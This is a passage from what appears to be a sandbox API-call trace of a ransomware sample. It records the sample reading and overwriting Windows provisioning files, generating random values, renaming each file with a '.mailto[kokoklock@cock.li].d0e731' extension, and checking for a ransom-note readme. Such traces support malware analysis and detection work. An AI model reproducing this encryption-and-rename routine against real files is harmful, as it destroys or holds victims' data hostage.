dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0085.864] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2d5bfb4c | out: lpFileSize=0x2d5bfb4c*=724) returned 1 [0085.864] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.864] ReadFile (in: hFile=0x4a4, lpBuffer=0x2d5bfb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d5bfb1c, lpOverlapped=0x0 | out: lpBuffer=0x2d5bfb20*, lpNumberOfBytesRead=0x2d5bfb1c*=0x4, lpOverlapped=0x0) returned 1 [0085.899] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.899] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0085.899] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd538 [0085.899] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd948 [0085.899] NtQuerySystemTime (in: CurrentTime=0x2d5bfaf8 | out: CurrentTime=0x2d5bfaf8*=132121176437891951) returned 0x0 [0085.899] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0xbc98ff7b [0085.899] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0xcff59c01 [0085.899] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0x58073a6e [0085.899] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0xca1ef197 [0085.899] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0x90fb9b90 [0085.899] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0x6b858f1f [0085.899] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0xce1af467 [0085.899] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0x6cd9c1d2 [0085.899] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0x9227d09c [0085.899] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0x19f4744c [0085.899] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0xaaaaefe5 [0085.899] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0x70a84158 [0085.899] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0xaa4bac7c [0085.899] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0x72a704b7 [0085.899] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0xbf4dd1 [0085.899] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0xe6e2198d [0085.899] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0x4cfd8638 [0085.899] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0x58f5b108 [0085.899] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0x371ea58c [0085.899] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0x325c8ef [0085.900] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0x626910b3 [0085.900] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0x7ccb77f2 [0085.900] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0x9a344695 [0085.900] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0xf94d542e [0085.900] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0xc81dc4ce [0085.900] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0x664135f0 [0085.900] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0x6e94c125 [0085.900] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0x70c4a9e1 [0085.900] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0xa021a02e [0085.900] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0x810931b7 [0085.900] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0x2ef68883 [0085.900] RtlRandom (in: Seed=0x2d5bfb04 | out: Seed=0x2d5bfb04) returned 0xd6b204ac [0085.911] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0085.911] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0085.911] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0085.911] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0085.911] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd9e8 [0085.911] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd9e8) returned 1 [0085.911] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.911] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.911] ReadFile (in: hFile=0x4a4, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x2d4, lpNumberOfBytesRead=0x2d5bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2d5bfaf8*=0x2d4, lpOverlapped=0x0) returned 1 [0085.911] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5bfac0 | out: lpNewFilePointer=0x0) returned 1 [0085.911] WriteFile (in: hFile=0x4a4, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0x2d4, lpNumberOfBytesWritten=0x2d5bfaf4, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2d5bfaf4*=0x2d4, lpOverlapped=0x0) returned 1 [0085.911] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0085.911] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd9e8 [0085.911] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd9e8) returned 1 [0085.911] WriteFile (in: hFile=0x4a4, lpBuffer=0x55dd8f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d5bfaf0, lpOverlapped=0x0 | out: lpBuffer=0x55dd8f8*, lpNumberOfBytesWritten=0x2d5bfaf0*=0x20, lpOverlapped=0x0) returned 1 [0085.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0085.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0085.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0085.912] WriteFile (in: hFile=0x4a4, lpBuffer=0x55dd9c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2d5bfb1c, lpOverlapped=0x0 | out: lpBuffer=0x55dd9c0*, lpNumberOfBytesWritten=0x2d5bfb1c*=0x8, lpOverlapped=0x0) returned 1 [0085.912] WriteFile (in: hFile=0x4a4, lpBuffer=0x2d5bfb34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d5bfb1c, lpOverlapped=0x0 | out: lpBuffer=0x2d5bfb34*, lpNumberOfBytesWritten=0x2d5bfb1c*=0x4, lpOverlapped=0x0) returned 1 [0085.912] WriteFile (in: hFile=0x4a4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d5bfb1c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2d5bfb1c*=0x4, lpOverlapped=0x0) returned 1 [0085.912] WriteFile (in: hFile=0x4a4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d5bfb1c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2d5bfb1c*=0x6c, lpOverlapped=0x0) returned 1 [0085.912] WriteFile (in: hFile=0x4a4, lpBuffer=0x55dd538*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d5bfb1c, lpOverlapped=0x0 | out: lpBuffer=0x55dd538*, lpNumberOfBytesWritten=0x2d5bfb1c*=0x20, lpOverlapped=0x0) returned 1 [0085.912] WriteFile (in: hFile=0x4a4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d5bfb1c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2d5bfb1c*=0x4, lpOverlapped=0x0) returned 1 [0085.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd538) returned 1 [0085.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd998) returned 1 [0085.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd9c0) returned 1 [0085.912] CloseHandle (hObject=0x4a4) returned 1 [0085.913] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x1a4) returned 0x33f2308 [0085.913] wcscpy (in: _Dest=0x33f2308, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml" [0085.913] wcscat (in: _Dest=0x33f2308, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0085.913] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\125__connections_cellular_alands mobiltelefon ab (finland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\125__connections_cellular_alands mobiltelefon ab (finland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.913] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f2308) returned 1 [0085.914] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0085.914] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a9c8 [0085.914] wcscpy (in: _Dest=0x348a9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.914] wcscat (in: _Dest=0x348a9c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.914] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0085.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a9c8) returned 1 [0085.914] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34955e8) returned 1 [0085.914] RtlExitUserThread (Status=0x1) Thread: id = 1299 os_tid = 0x1168 [0085.386] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\126__connections_cellular_alands mobiltelefon ab (finland)_i1$(__mvid)@wap.provxml")) returned 0x20 [0086.471] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.488] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\126__connections_cellular_alands mobiltelefon ab (finland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x99c [0086.488] GetFileSizeEx (in: hFile=0x99c, lpFileSize=0x2d63fdb4 | out: lpFileSize=0x2d63fdb4*=668) returned 1 [0086.488] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x298, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.488] ReadFile (in: hFile=0x99c, lpBuffer=0x2d63fd88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d63fd84, lpOverlapped=0x0 | out: lpBuffer=0x2d63fd88*, lpNumberOfBytesRead=0x2d63fd84*=0x4, lpOverlapped=0x0) returned 1 [0086.490] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde48 [0086.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddf10 [0086.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddce0 [0086.490] NtQuerySystemTime (in: CurrentTime=0x2d63fd60 | out: CurrentTime=0x2d63fd60*=132121176443828826) returned 0x0 [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0xd0240b0a [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0x354144f5 [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0xd466d715 [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0xfc326ecd [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0xb2ee2865 [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0x72810e62 [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0x17a9d568 [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0x8ac13f21 [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0x89414ccd [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0x4b63a310 [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0x5729a178 [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0xbaf0b5d [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0xc623f90e [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0xd70a09 [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0xaf1a7007 [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0x3eafc89e [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0xf2f068b9 [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0x5b2b18f0 [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0x2a92f253 [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0x9ef37b12 [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0x5d83ce [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0xa7ca2dba [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0xb820aba3 [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0x5236d844 [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0xaf269acc [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0xc428787b [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0x1d9e0eb5 [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0x7a385b57 [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0x81a651bb [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0x3deb1cdc [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0x751294dd [0086.491] RtlRandom (in: Seed=0x2d63fd6c | out: Seed=0x2d63fd6c) returned 0xf128c5b5 [0086.502] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0086.502] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde48) returned 1 [0086.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0086.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0086.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde98 [0086.502] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde98) returned 1 [0086.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.502] ReadFile (in: hFile=0x99c, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x29c, lpNumberOfBytesRead=0x2d63fd60, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2d63fd60*=0x29c, lpOverlapped=0x0) returned 1 [0086.502] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d63fd28 | out: lpNewFilePointer=0x0) returned 1 [0086.502] WriteFile (in: hFile=0x99c, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x29c, lpNumberOfBytesWritten=0x2d63fd5c, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2d63fd5c*=0x29c, lpOverlapped=0x0) returned 1 [0086.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde48 [0086.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde98 [0086.502] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde98) returned 1 [0086.502] WriteFile (in: hFile=0x99c, lpBuffer=0x55dde48*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d63fd58, lpOverlapped=0x0 | out: lpBuffer=0x55dde48*, lpNumberOfBytesWritten=0x2d63fd58*=0x20, lpOverlapped=0x0) returned 1 [0086.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde48) returned 1 [0086.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0086.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0086.503] WriteFile (in: hFile=0x99c, lpBuffer=0x55dde70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2d63fd84, lpOverlapped=0x0 | out: lpBuffer=0x55dde70*, lpNumberOfBytesWritten=0x2d63fd84*=0x8, lpOverlapped=0x0) returned 1 [0086.503] WriteFile (in: hFile=0x99c, lpBuffer=0x2d63fd9c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d63fd84, lpOverlapped=0x0 | out: lpBuffer=0x2d63fd9c*, lpNumberOfBytesWritten=0x2d63fd84*=0x4, lpOverlapped=0x0) returned 1 [0086.503] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d63fd84, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2d63fd84*=0x4, lpOverlapped=0x0) returned 1 [0086.503] WriteFile (in: hFile=0x99c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d63fd84, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2d63fd84*=0x6c, lpOverlapped=0x0) returned 1 [0086.503] WriteFile (in: hFile=0x99c, lpBuffer=0x55ddf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d63fd84, lpOverlapped=0x0 | out: lpBuffer=0x55ddf10*, lpNumberOfBytesWritten=0x2d63fd84*=0x20, lpOverlapped=0x0) returned 1 [0086.503] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d63fd84, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2d63fd84*=0x4, lpOverlapped=0x0) returned 1 [0086.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf10) returned 1 [0086.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddd08) returned 1 [0086.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde70) returned 1 [0086.504] CloseHandle (hObject=0x99c) returned 1 [0086.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x1a4) returned 0x33cc5f0 [0086.504] wcscpy (in: _Dest=0x33cc5f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml" [0086.504] wcscat (in: _Dest=0x33cc5f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.504] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\126__connections_cellular_alands mobiltelefon ab (finland)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\126__connections_cellular_alands mobiltelefon ab (finland)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.504] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\126__Connections_Cellular_Alands Mobiltelefon Ab 